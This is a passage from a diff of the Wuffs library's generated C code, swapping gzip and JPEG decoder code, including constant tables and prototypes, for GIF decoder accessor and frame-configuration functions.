WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(3); - } -- if ( ! self->private_impl.f_ignore_checksum && ((v_checksum_got != v_checksum_want) || (v_decoded_length_got != v_decoded_length_want))) { -- status = wuffs_base__make_status(wuffs_gzip__error__bad_checksum); -- goto exit; -+ if (a_minfo != NULL) { -+ wuffs_base__more_information__set(a_minfo, -+ 3u, -+ self->private_impl.f_metadata_fourcc, -+ 0u, -+ self->private_impl.f_metadata_io_position, -+ self->private_impl.f_metadata_io_position); - } -+ self->private_impl.f_call_sequence &= 239u; -+ self->private_impl.f_metadata_fourcc = 0u; -+ self->private_impl.f_metadata_io_position = 0u; -+ status = wuffs_base__make_status(NULL); -+ goto ok; - - ok: -- self->private_impl.p_do_transform_io[0] = 0; -+ self->private_impl.p_do_tell_me_more = 0; - goto exit; - } - - goto suspend; - suspend: -- self->private_impl.p_do_transform_io[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -- self->private_data.s_do_transform_io[0].v_flags = v_flags; -- self->private_data.s_do_transform_io[0].v_checksum_got = v_checksum_got; -- self->private_data.s_do_transform_io[0].v_decoded_length_got = v_decoded_length_got; -- self->private_data.s_do_transform_io[0].v_checksum_want = v_checksum_want; -+ self->private_impl.p_do_tell_me_more = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; - - goto exit; - exit: -- if (a_dst && a_dst->data.ptr) { -- a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); -- } - if (a_src && a_src->data.ptr) { - a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); - } -@@ -40096,2260 +41327,1143 @@ wuffs_gzip__decoder__do_transform_io( - return status; - } - --#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__GZIP) -- --#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__JPEG) -+// -------- func gif.decoder.num_animation_loops - --// ---------------- Status Codes Implementations -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC uint32_t -+wuffs_gif__decoder__num_animation_loops( -+ const wuffs_gif__decoder* self) { -+ if (!self) { -+ return 0; -+ } -+ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -+ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -+ return 0; -+ } - --const char wuffs_jpeg__error__bad_dht_marker[] = "#jpeg: bad DHT marker"; --const char wuffs_jpeg__error__bad_dqt_marker[] = "#jpeg: bad DQT marker"; --const char wuffs_jpeg__error__bad_dri_marker[] = "#jpeg: bad DRI marker"; --const char wuffs_jpeg__error__bad_sof_marker[] = "#jpeg: bad SOF marker"; --const char wuffs_jpeg__error__bad_sos_marker[] = "#jpeg: bad SOS marker"; --const char wuffs_jpeg__error__bad_header[] = "#jpeg: bad header"; --const char wuffs_jpeg__error__bad_marker[] = "#jpeg: bad marker"; --const char wuffs_jpeg__error__missing_huffman_table[] = "#jpeg: missing Huffman table"; --const char wuffs_jpeg__error__missing_quantization_table[] = "#jpeg: missing Quantization table"; --const char wuffs_jpeg__error__truncated_input[] = "#jpeg: truncated input"; --const char wuffs_jpeg__error__unsupported_arithmetic_coding[] = "#jpeg: unsupported arithmetic coding"; --const char wuffs_jpeg__error__unsupported_color_model[] = "#jpeg: unsupported color model"; --const char wuffs_jpeg__error__unsupported_fractional_sampling[] = "#jpeg: unsupported fractional sampling"; --const char wuffs_jpeg__error__unsupported_hierarchical_coding[] = "#jpeg: unsupported hierarchical coding"; --const char wuffs_jpeg__error__unsupported_implicit_height[] = "#jpeg: unsupported implicit height"; --const char wuffs_jpeg__error__unsupported_lossless_coding[] = "#jpeg: unsupported lossless coding"; --const char wuffs_jpeg__error__unsupported_marker[] = "#jpeg: unsupported marker"; --const char wuffs_jpeg__error__unsupported_precision_12_bits[] = "#jpeg: unsupported precision (12 bits)"; --const char wuffs_jpeg__error__unsupported_precision_16_bits[] = "#jpeg: unsupported precision (16 bits)"; --const char wuffs_jpeg__error__unsupported_precision[] = "#jpeg: unsupported precision"; --const char wuffs_jpeg__error__unsupported_scan_count[] = "#jpeg: unsupported scan count"; --const char wuffs_jpeg__error__internal_error_inconsistent_decoder_state[] = "#jpeg: internal error: inconsistent decoder state"; -+ if (self->private_impl.f_seen_num_animation_loops_value) { -+ return self->private_impl.f_num_animation_loops_value; -+ } -+ if (self->private_impl.f_num_decoded_frame_configs_value > 1u) { -+ return 1u; -+ } -+ return 0u; -+} - --// ---------------- Private Consts -+// -------- func gif.decoder.num_decoded_frame_configs - --static const uint8_t --WUFFS_JPEG__UNZIG[80] WUFFS_BASE__POTENTIALLY_UNUSED = { -- 0, 0, 1, 8, 16, 9, 2, 3, -- 10, 17, 24, 32, 25, 18, 11, 4, -- 5, 12, 19, 26, 33, 40, 48, 41, -- 34, 27, 20, 13, 6, 7, 14, 21, -- 28, 35, 42, 49, 56, 57, 50, 43, -- 36, 29, 22, 15, 23, 30, 37, 44, -- 51, 58, 59, 52, 45, 38, 31, 39, -- 46, 53, 60, 61, 54, 47, 55, 62, -- 63, 63, 63, 63, 63, 63, 63, 63, -- 63, 63, 63, 63, 63, 63, 63, 63, --}; -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC uint64_t -+wuffs_gif__decoder__num_decoded_frame_configs( -+ const wuffs_gif__decoder* self) { -+ if (!self) { -+ return 0; -+ } -+ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -+ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -+ return 0; -+ } - --static const uint8_t --WUFFS_JPEG__BIAS_AND_CLAMP[1024] WUFFS_BASE__POTENTIALLY_UNUSED = { -- 128, 129, 130, 131, 132, 133, 134, 135, -- 136, 137, 138, 139, 140, 141, 142, 143, -- 144, 145, 146, 147, 148, 149, 150, 151, -- 152, 153, 154, 155, 156, 157, 158, 159, -- 160, 161, 162, 163, 164, 165, 166, 167, -- 168, 169, 170, 171, 172, 173, 174, 175, -- 176, 177, 178, 179, 180, 181, 182, 183, -- 184, 185, 186, 187, 188, 189, 190, 191, -- 192, 193, 194, 195, 196, 197, 198, 199, -- 200, 201, 202, 203, 204, 205, 206, 207, -- 208, 209, 210, 211, 212, 213, 214, 215, -- 216, 217, 218, 219, 220, 221, 222, 223, -- 224, 225, 226, 227, 228, 229, 230, 231, -- 232, 233, 234, 235, 236, 237, 238, 239, -- 240, 241, 242, 243, 244, 245, 246, 247, -- 248, 249, 250, 251, 252, 253, 254, 255, -- 255, 255, 255, 255, 255, 255, 255, 255, -- 255, 255, 255, 255, 255, 255, 255, 255, -- 255, 255, 255, 255, 255, 255, 255, 255, -- 255, 255, 255, 255, 255, 255, 255, 255, -- 255, 255, 255, 255, 255, 255, 255, 255, -- 255, 255, 255, 255, 255, 255, 255, 255, -- 255, 255, 255, 255, 255, 255, 255, 255, -- 255, 255, 255, 255, 255, 255, 255, 255, -- 255, 255, 255, 255, 255, 255, 255, 255, -- 255, 255, 255, 255, 255, 255, 255, 255, -- 255, 255, 255, 255, 255, 255, 255, 255, -- 255, 255, 255, 255, 255, 255, 255, 255, -- 255, 255, 255, 255, 255, 255, 255, 255, -- 255, 255, 255, 255, 255, 255, 255, 255, -- 255, 255, 255, 255, 255, 255, 255, 255, -- 255, 255, 255, 255, 255, 255, 255, 255, -- 255, 255, 255, 255, 255, 255, 255, 255, -- 255, 255, 255, 255, 255, 255, 255, 255, -- 255, 255, 255, 255, 255, 255, 255, 255, -- 255, 255, 255, 255, 255, 255, 255, 255, -- 255, 255, 255, 255, 255, 255, 255, 255, -- 255, 255, 255, 255, 255, 255, 255, 255, -- 255, 255, 255, 255, 255, 255, 255, 255, -- 255, 255, 255, 255, 255, 255, 255, 255, -- 255, 255, 255, 255, 255, 255, 255, 255, -- 255, 255, 255, 255, 255, 255, 255, 255, -- 255, 255, 255, 255, 255, 255, 255, 255, -- 255, 255, 255, 255, 255, 255, 255, 255, -- 255, 255, 255, 255, 255, 255, 255, 255, -- 255, 255, 255, 255, 255, 255, 255, 255, -- 255, 255, 255, 255, 255, 255, 255, 255, -- 255, 255, 255, 255, 255, 255, 255, 255, -- 255, 255, 255, 255, 255, 255, 255, 255, -- 255, 255, 255, 255, 255, 255, 255, 255, -- 255, 255, 255, 255, 255, 255, 255, 255, -- 255, 255, 255, 255, 255, 255, 255, 255, -- 255, 255, 255, 255, 255, 255, 255, 255, -- 255, 255, 255, 255, 255, 255, 255, 255, -- 255, 255, 255, 255, 255, 255, 255, 255, -- 255, 255, 255, 255, 255, 255, 255, 255, -- 255, 255, 255, 255, 255, 255, 255, 255, -- 255, 255, 255, 255, 255, 255, 255, 255, -- 255, 255, 255, 255, 255, 255, 255, 255, -- 255, 255, 255, 255, 255, 255, 255, 255, -- 255, 255, 255, 255, 255, 255, 255, 255, -- 255, 255, 255, 255, 255, 255, 255, 255, -- 255, 255, 255, 255, 255, 255, 255, 255, -- 255, 255, 255, 255, 255, 255, 255, 255, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 1, 2, 3, 4, 5, 6, 7, -- 8, 9, 10, 11, 12, 13, 14, 15, -- 16, 17, 18, 19, 20, 21, 22, 23, -- 24, 25, 26, 27, 28, 29, 30, 31, -- 32, 33, 34, 35, 36, 37, 38, 39, -- 40, 41, 42, 43, 44, 45, 46, 47, -- 48, 49, 50, 51, 52, 53, 54, 55, -- 56, 57, 58, 59, 60, 61, 62, 63, -- 64, 65, 66, 67, 68, 69, 70, 71, -- 72, 73, 74, 75, 76, 77, 78, 79, -- 80, 81, 82, 83, 84, 85, 86, 87, -- 88, 89, 90, 91, 92, 93, 94, 95, -- 96, 97, 98, 99, 100, 101, 102, 103, -- 104, 105, 106, 107, 108, 109, 110, 111, -- 112, 113, 114, 115, 116, 117, 118, 119, -- 120, 121, 122, 123, 124, 125, 126, 127, --}; -+ return self->private_impl.f_num_decoded_frame_configs_value; -+} - --static const uint16_t --WUFFS_JPEG__EXTEND[16] WUFFS_BASE__POTENTIALLY_UNUSED = { -- 0, 65535, 65533, 65529, 65521, 65505, 65473, 65409, -- 65281, 65025, 64513, 63489, 61441, 57345, 49153, 32769, --}; -+// -------- func gif.decoder.num_decoded_frames - --static const uint8_t --WUFFS_JPEG__DEFAULT_HUFF_TABLE_DC_LUMA[29] WUFFS_BASE__POTENTIALLY_UNUSED = { -- 0, 0, 1, 5, 1, 1, 1, 1, -- 1, 1, 0, 0, 0, 0, 0, 0, -- 0, 0, 1, 2, 3, 4, 5, 6, -- 7, 8, 9, 10, 11, --}; -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC uint64_t -+wuffs_gif__decoder__num_decoded_frames( -+ const wuffs_gif__decoder* self) { -+ if (!self) { -+ return 0; -+ } -+ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -+ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -+ return 0; -+ } - --static const uint8_t --WUFFS_JPEG__DEFAULT_HUFF_TABLE_DC_CHROMA[29] WUFFS_BASE__POTENTIALLY_UNUSED = { -- 1, 0, 3, 1, 1, 1, 1, 1, -- 1, 1, 1, 1, 0, 0, 0, 0, -- 0, 0, 1, 2, 3, 4, 5, 6, -- 7, 8, 9, 10, 11, --}; -+ return self->private_impl.f_num_decoded_frames_value; -+} - --static const uint8_t --WUFFS_JPEG__DEFAULT_HUFF_TABLE_AC_LUMA[179] WUFFS_BASE__POTENTIALLY_UNUSED = { -- 16, 0, 2, 1, 3, 3, 2, 4, -- 3, 5, 5, 4, 4, 0, 0, 1, -- 125, 1, 2, 3, 0, 4, 17, 5, -- 18, 33, 49, 65, 6, 19, 81, 97, -- 7, 34, 113, 20, 50, 129, 145, 161, -- 8, 35, 66, 177, 193, 21, 82, 209, -- 240, 36, 51, 98, 114, 130, 9, 10, -- 22, 23, 24, 25, 26, 37, 38, 39, -- 40, 41, 42, 52, 53, 54, 55, 56, -- 57, 58, 67, 68, 69, 70, 71, 72, -- 73, 74, 83, 84, 85, 86, 87, 88, -- 89, 90, 99, 100, 101, 102, 103, 104, -- 105, 106, 115, 116, 117, 118, 119, 120, -- 121, 122, 131, 132, 133, 134, 135, 136, -- 137, 138, 146, 147, 148, 149, 150, 151, -- 152, 153, 154, 162, 163, 164, 165, 166, -- 167, 168, 169, 170, 178, 179, 180, 181, -- 182, 183, 184, 185, 186, 194, 195, 196, -- 197, 198, 199, 200, 201, 202, 210, 211, -- 212, 213, 214, 215, 216, 217, 218, 225, -- 226, 227, 228, 229, 230, 231, 232, 233, -- 234, 241, 242, 243, 244, 245, 246, 247, -- 248, 249, 250, --}; -+// -------- func gif.decoder.frame_dirty_rect - --static const uint8_t --WUFFS_JPEG__DEFAULT_HUFF_TABLE_AC_CHROMA[179] WUFFS_BASE__POTENTIALLY_UNUSED = { -- 17, 0, 2, 1, 2, 4, 4, 3, -- 4, 7, 5, 4, 4, 0, 1, 2, -- 119, 0, 1, 2, 3, 17, 4, 5, -- 33, 49, 6, 18, 65, 81, 7, 97, -- 113, 19, 34, 50, 129, 8, 20, 66, -- 145, 161, 177, 193, 9, 35, 51, 82, -- 240, 21, 98, 114, 209, 10, 22, 36, -- 52, 225, 37, 241, 23, 24, 25, 26, -- 38, 39, 40, 41, 42, 53, 54, 55, -- 56, 57, 58, 67, 68, 69, 70, 71, -- 72, 73, 74, 83, 84, 85, 86, 87, -- 88, 89, 90, 99, 100, 101, 102, 103, -- 104, 105, 106, 115, 116, 117, 118, 119, -- 120, 121, 122, 130, 131, 132, 133, 134, -- 135, 136, 137, 138, 146, 147, 148, 149, -- 150, 151, 152, 153, 154, 162, 163, 164, -- 165, 166, 167, 168, 169, 170, 178, 179, -- 180, 181, 182, 183, 184, 185, 186, 194, -- 195, 196, 197, 198, 199, 200, 201, 202, -- 210, 211, 212, 213, 214, 215, 216, 217, -- 218, 226, 227, 228, 229, 230, 231, 232, -- 233, 234, 242, 243, 244, 245, 246, 247, -- 248, 249, 250, --}; -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__rect_ie_u32 -+wuffs_gif__decoder__frame_dirty_rect( -+ const wuffs_gif__decoder* self) { -+ if (!self) { -+ return wuffs_base__utility__empty_rect_ie_u32(); -+ } -+ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -+ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -+ return wuffs_base__utility__empty_rect_ie_u32(); -+ } - --// ---------------- Private Initializer Prototypes -+ return wuffs_base__utility__make_rect_ie_u32( -+ wuffs_base__u32__min(self->private_impl.f_frame_rect_x0, self->private_impl.f_width), -+ wuffs_base__u32__min(self->private_impl.f_frame_rect_y0, self->private_impl.f_height), -+ wuffs_base__u32__min(self->private_impl.f_frame_rect_x1, self->private_impl.f_width), -+ wuffs_base__u32__min(self->private_impl.f_dirty_max_excl_y, self->private_impl.f_height)); -+} - --// ---------------- Private Function Prototypes -+// -------- func gif.decoder.workbuf_len - - WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__empty_struct --wuffs_jpeg__decoder__decode_idct( -- wuffs_jpeg__decoder* self, -- wuffs_base__slice_u8 a_dst_buffer, -- uint64_t a_dst_stride, -- uint32_t a_q); -+WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 -+wuffs_gif__decoder__workbuf_len( -+ const wuffs_gif__decoder* self) { -+ if (!self) { -+ return wuffs_base__utility__empty_range_ii_u64(); -+ } -+ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -+ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -+ return wuffs_base__utility__empty_range_ii_u64(); -+ } - --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__empty_struct --wuffs_jpeg__decoder__decode_idct__choosy_default( -- wuffs_jpeg__decoder* self, -- wuffs_base__slice_u8 a_dst_buffer, -- uint64_t a_dst_stride, -- uint32_t a_q); -+ return wuffs_base__utility__make_range_ii_u64(0u, 0u); -+} - --#if defined(WUFFS_BASE__CPU_ARCH__X86_64) --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__empty_struct --wuffs_jpeg__decoder__decode_idct_x86_avx2( -- wuffs_jpeg__decoder* self, -- wuffs_base__slice_u8 a_dst_buffer, -- uint64_t a_dst_stride, -- uint32_t a_q); --#endif // defined(WUFFS_BASE__CPU_ARCH__X86_64) -+// -------- func gif.decoder.restart_frame - - WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__status --wuffs_jpeg__decoder__do_decode_image_config( -- wuffs_jpeg__decoder* self, -- wuffs_base__image_config* a_dst, -- wuffs_base__io_buffer* a_src); -+WUFFS_BASE__MAYBE_STATIC wuffs_base__status -+wuffs_gif__decoder__restart_frame( -+ wuffs_gif__decoder* self, -+ uint64_t a_index, -+ uint64_t a_io_position) { -+ if (!self) { -+ return wuffs_base__make_status(wuffs_base__error__bad_receiver); -+ } -+ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -+ return wuffs_base__make_status( -+ (self->private_impl.magic == WUFFS_BASE__DISABLED) -+ ? wuffs_base__error__disabled_by_previous_error -+ : wuffs_base__error__initialize_not_called); -+ } - --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__status --wuffs_jpeg__decoder__decode_dqt( -- wuffs_jpeg__decoder* self, -- wuffs_base__io_buffer* a_src); -+ if (self->private_impl.f_call_sequence < 32u) { -+ return wuffs_base__make_status(wuffs_base__error__bad_call_sequence); -+ } else if (a_io_position == 0u) { -+ return wuffs_base__make_status(wuffs_base__error__bad_argument); -+ } -+ self->private_impl.f_delayed_num_decoded_frames = false; -+ self->private_impl.f_frame_config_io_position = a_io_position; -+ self->private_impl.f_num_decoded_frame_configs_value = a_index; -+ self->private_impl.f_num_decoded_frames_value = a_index; -+ wuffs_gif__decoder__reset_gc(self); -+ self->private_impl.f_call_sequence = 40u; -+ return wuffs_base__make_status(NULL); -+} - --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__status --wuffs_jpeg__decoder__decode_dri( -- wuffs_jpeg__decoder* self, -- wuffs_base__io_buffer* a_src); -+// -------- func gif.decoder.decode_frame_config - - WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__status --wuffs_jpeg__decoder__decode_appn( -- wuffs_jpeg__decoder* self, -- wuffs_base__io_buffer* a_src, -- uint8_t a_marker); -+WUFFS_BASE__MAYBE_STATIC wuffs_base__status -+wuffs_gif__decoder__decode_frame_config( -+ wuffs_gif__decoder* self, -+ wuffs_base__frame_config* a_dst, -+ wuffs_base__io_buffer* a_src) { -+ if (!self) { -+ return wuffs_base__make_status(wuffs_base__error__bad_receiver); -+ } -+ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -+ return wuffs_base__make_status( -+ (self->private_impl.magic == WUFFS_BASE__DISABLED) -+ ? wuffs_base__error__disabled_by_previous_error -+ : wuffs_base__error__initialize_not_called); -+ } -+ if (!a_src) { -+ self->private_impl.magic = WUFFS_BASE__DISABLED; -+ return wuffs_base__make_status(wuffs_base__error__bad_argument); -+ } -+ if ((self->private_impl.active_coroutine != 0) && -+ (self->private_impl.active_coroutine != 3)) { -+ self->private_impl.magic = WUFFS_BASE__DISABLED; -+ return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); -+ } -+ self->private_impl.active_coroutine = 0; -+ wuffs_base__status status = wuffs_base__make_status(NULL); - --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__status --wuffs_jpeg__decoder__decode_sof( -- wuffs_jpeg__decoder* self, -- wuffs_base__io_buffer* a_src); -+ wuffs_base__status v_status = wuffs_base__make_status(NULL); - --WUFFS_BASE__GENERATED_C_CODE --static uint32_t --wuffs_jpeg__decoder__quantize_dimension( -- const wuffs_jpeg__decoder* self, -- uint32_t a_width, -- uint8_t a_h, -- uint8_t a_max_incl_h); -+ uint32_t coro_susp_point = self->private_impl.p_decode_frame_config; -+ switch (coro_susp_point) { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; - --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__status --wuffs_jpeg__decoder__do_decode_frame_config( -- wuffs_jpeg__decoder* self, -- wuffs_base__frame_config* a_dst, -- wuffs_base__io_buffer* a_src); -+ while (true) { -+ { -+ wuffs_base__status t_0 = wuffs_gif__decoder__do_decode_frame_config(self, a_dst, a_src); -+ v_status = t_0; -+ } -+ if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { -+ status = wuffs_base__make_status(wuffs_gif__error__truncated_input); -+ goto exit; -+ } -+ status = v_status; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); -+ } - --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__status --wuffs_jpeg__decoder__do_decode_frame( -- wuffs_jpeg__decoder* self, -- wuffs_base__pixel_buffer* a_dst, -- wuffs_base__io_buffer* a_src, -- wuffs_base__pixel_blend a_blend, -- wuffs_base__slice_u8 a_workbuf, -- wuffs_base__decode_frame_options* a_opts); -+ ok: -+ self->private_impl.p_decode_frame_config = 0; -+ goto exit; -+ } - --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__status --wuffs_jpeg__decoder__decode_dht( -- wuffs_jpeg__decoder* self, -- wuffs_base__io_buffer* a_src); -+ goto suspend; -+ suspend: -+ self->private_impl.p_decode_frame_config = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 3 : 0; - --WUFFS_BASE__GENERATED_C_CODE --static bool --wuffs_jpeg__decoder__calculate_huff_tables( -- wuffs_jpeg__decoder* self, -- uint8_t a_tc4_th, -- uint32_t a_total_count); -+ goto exit; -+ exit: -+ if (wuffs_base__status__is_error(&status)) { -+ self->private_impl.magic = WUFFS_BASE__DISABLED; -+ } -+ return status; -+} - --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__status --wuffs_jpeg__decoder__decode_sos( -- wuffs_jpeg__decoder* self, -- wuffs_base__io_buffer* a_src, -- wuffs_base__slice_u8 a_workbuf); -+// -------- func gif.decoder.do_decode_frame_config - - WUFFS_BASE__GENERATED_C_CODE - static wuffs_base__status --wuffs_jpeg__decoder__prepare_scan( -- wuffs_jpeg__decoder* self, -- wuffs_base__io_buffer* a_src); -+wuffs_gif__decoder__do_decode_frame_config( -+ wuffs_gif__decoder* self, -+ wuffs_base__frame_config* a_dst, -+ wuffs_base__io_buffer* a_src) { -+ wuffs_base__status status = wuffs_base__make_status(NULL); - --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__status --wuffs_jpeg__decoder__use_default_huffman_table( -- wuffs_jpeg__decoder* self, -- uint8_t a_tc4_th); -- --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__empty_struct --wuffs_jpeg__decoder__calculate_single_component_scan_fields( -- wuffs_jpeg__decoder* self); -+ uint32_t v_background_color = 0; -+ uint8_t v_flags = 0; - --WUFFS_BASE__GENERATED_C_CODE --static bool --wuffs_jpeg__decoder__calculate_multiple_component_scan_fields( -- wuffs_jpeg__decoder* self); -+ const uint8_t* iop_a_src = NULL; -+ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ if (a_src && a_src->data.ptr) { -+ io0_a_src = a_src->data.ptr; -+ io1_a_src = io0_a_src + a_src->meta.ri; -+ iop_a_src = io1_a_src; -+ io2_a_src = io0_a_src + a_src->meta.wi; -+ } - --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__empty_struct --wuffs_jpeg__decoder__fill_bitstream( -- wuffs_jpeg__decoder* self, -- wuffs_base__io_buffer* a_src); -+ uint32_t coro_susp_point = self->private_impl.p_do_decode_frame_config; -+ if (coro_susp_point) { -+ v_background_color = self->private_data.s_do_decode_frame_config.v_background_color; -+ } -+ switch (coro_susp_point) { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; - --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__empty_struct --wuffs_jpeg__decoder__load_mcu_blocks_for_single_component( -- wuffs_jpeg__decoder* self, -- uint32_t a_mx, -- uint32_t a_my, -- wuffs_base__slice_u8 a_workbuf, -- uint32_t a_csel); -+ self->private_impl.f_dirty_max_excl_y = 0u; -+ if (((uint8_t)(self->private_impl.f_call_sequence & 16u)) != 0u) { -+ status = wuffs_base__make_status(wuffs_base__error__bad_call_sequence); -+ goto exit; -+ } else if (self->private_impl.f_call_sequence == 32u) { -+ } else if (self->private_impl.f_call_sequence < 32u) { -+ if (a_src) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -+ status = wuffs_gif__decoder__do_decode_image_config(self, NULL, a_src); -+ if (a_src) { -+ iop_a_src = a_src->data.ptr + a_src->meta.ri; -+ } -+ if (status.repr) { -+ goto suspend; -+ } -+ } else if (self->private_impl.f_call_sequence == 40u) { -+ if (self->private_impl.f_frame_config_io_position != wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src)))) { -+ status = wuffs_base__make_status(wuffs_base__error__bad_restart); -+ goto exit; -+ } -+ } else if (self->private_impl.f_call_sequence == 64u) { -+ if (a_src) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); -+ status = wuffs_gif__decoder__skip_frame(self, a_src); -+ if (a_src) { -+ iop_a_src = a_src->data.ptr + a_src->meta.ri; -+ } -+ if (status.repr) { -+ goto suspend; -+ } -+ if (self->private_impl.f_call_sequence >= 96u) { -+ status = wuffs_base__make_status(wuffs_base__note__end_of_data); -+ goto ok; -+ } -+ } else { -+ status = wuffs_base__make_status(wuffs_base__note__end_of_data); -+ goto ok; -+ } -+ if ((self->private_impl.f_num_decoded_frame_configs_value > 0u) || (self->private_impl.f_call_sequence == 40u)) { -+ if (a_src) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); -+ status = wuffs_gif__decoder__decode_up_to_id_part1(self, a_src); -+ if (a_src) { -+ iop_a_src = a_src->data.ptr + a_src->meta.ri; -+ } -+ if (status.repr) { -+ goto suspend; -+ } -+ if (self->private_impl.f_call_sequence >= 96u) { -+ status = wuffs_base__make_status(wuffs_base__note__end_of_data); -+ goto ok; -+ } -+ } -+ v_background_color = self->private_impl.f_black_color_u32_argb_premul; -+ if ( ! self->private_impl.f_gc_has_transparent_index) { -+ v_background_color = self->private_impl.f_background_color_u32_argb_premul; -+ if (self->private_impl.f_quirks[1u] && (self->private_impl.f_num_decoded_frame_configs_value == 0u)) { -+ while (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(4); -+ } -+ v_flags = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); -+ if (((uint8_t)(v_flags & 128u)) != 0u) { 